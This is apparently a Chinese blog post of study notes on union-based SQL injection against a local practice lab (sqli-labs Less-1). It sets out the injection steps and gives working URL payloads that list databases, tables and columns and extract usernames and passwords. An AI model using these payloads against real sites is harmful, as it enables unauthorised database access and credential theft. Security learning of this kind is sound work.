2020-10-26 SQL注入学习(2)

一.get请求与post请求的区别:
(1)get在浏览器回退时是无害的,post会再次提交请求;
(2)get产生的url地址可以被bookmark(加入标签),post不可以;
(3)get请求只能进行url编码,post可以进行多种编码;
(4)get请求参数会被完整保留在浏览器历史记录中,post不会(无痕浏览);
(5)对参数的数据类型,get只接受ASCII字符,post没有限制;
(6)Get请求在url中传递的参数长度有限制,post没有;
(7)Get比post更不安全,因为参数直接暴露在url中,不能用来传递敏感信息;
(8)Get参数放在url中,post参数放在request body中.

1.联合查询注入
(1)一般会将数据库查询的数据回显到页面中。
(2)联合注入的流程:
a、判断注入点
b、判断是整型还是字符型
c、判断查询列数
d、判断显示位
e、获取所有数据库名
f、获取数据库所有表名
g、获取字段名
h、获取字段中的数据
判断注入点:
我们在可能存在SQL注入变量的后边添加以下payload。通过单引号来判断是字符型注入还是整型注入。(加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b。)
判断注入是整型还是字符型:
在url中输入and1=1或者输入’and 1=1来判断是字符型注入还是整型注入。
在这里插入图片描述
判断查询列数:
通过order by来查询列数,下面两张图对比说明了有第三列没有第四列。
在这里插入图片描述

在这里插入图片描述
判断回显位:作用主要是判断显示数据的位置在哪一列。
只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了
![](https://img-blog.csdnimg.cn/20201028000111253.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1NzY2MDYy,size_16,color_FFFFFF,t_70#pic_center在这里插入图片描述
这里的?id=-1’就是为了让第一行查询为空集

获取所有数据库名:
group_concat()一次性显示:
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

在这里插入图片描述

获取表名:
http://127.0.0.1/sql/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3%23

获取列名:
http://127.0.0.1/sql/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3%23

获取列中的信息:
http://127.0.0.1/sql/Less-1/?id=-1’ union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23

总结:在获取数据库名以后的获取列,表名都是在使用where子句,所以,要掌握查询数据库名的语句。在获取列中的信息中,注意char(32,58,32)表示的是ASCALL码中的对应的空格和冒号。然后要注意的的是联合查询注入攻击中使用union时要使union左边的查询为空集。

问题:为什么在把char(32,58,32)去掉以后就不显示username了。
为什么select1,2,3能够显示回显位(已解决)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值